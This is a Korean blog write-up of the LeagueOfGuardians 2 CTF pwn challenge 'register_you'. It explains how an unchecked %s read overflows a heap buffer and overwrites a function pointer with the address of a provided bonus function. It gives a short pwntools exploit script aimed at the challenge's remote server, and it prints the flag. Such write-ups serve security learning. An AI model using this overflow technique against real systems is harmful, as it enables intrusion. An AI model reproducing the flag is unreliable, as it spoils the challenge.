System&Write up/CTF

[LeagueOfGuardians 2] register_you

Jubil 2018. 7. 24. 01:32
반응형

[LeagueOfGuardians 2] register_you

 


 

바이너리는 64bitNX가 걸려있습니다.

 

 


 

v6malloc으로 동적 할당을 하고 v6 + 3 (v6*형이고 64bit이기 때문에 +3 +24) hello 함수를 넣습니다.

, v6 + 3은 함수 포인터입니다. 그리고 이 함수를 1번 메뉴 register에서 호출하게 됩니다.

 


마침 바이너리에서 bonus 함수를 제공합니다.

 

저 함수 포인터를 bonus 함수의 주소로 바꿔주면 됩니다.

bonus 함수의 주소 : 0x400806

 


 

, 다시 main 3번 메뉴를 보면 v6%s로 입력 검증 없이 받고 있습니다.

dummy 24byte와 보너스 함수의 주소를 넘겨주면 될 것 같네요.

 

 

1

2

3

4

5

6

7

8

9

10

11

from pwn import *

 

= remote("13.209.121.90"7777)

bonus = 0x400806

 

s.sendlineafter("exit\n""3")

s.sendlineafter("memo : \n""A"*24 + p64(bonus))  #dummy 24byte + bonus

s.sendlineafter("exit\n""1")

s.sendlineafter("name? :)\n""AAAA")    #call bonus

 

s.interactive()

Colored by Color Scripter

cs

 

 


 

FLAG : A r0lling ston3 gath3rs n0 moss


반응형

'System&Write up > CTF' 카테고리의 다른 글

[LeagueOfGuardians 2] Return to Life  (0) 2018.07.24
[LeagueOfGuardians 2] FOR  (0) 2018.07.24
[Codegate 2016] watermelon  (0) 2018.06.03
[Codegate 2018] catshop  (0) 2018.04.08
[Codegate 2018] DaysNote  (0) 2018.04.08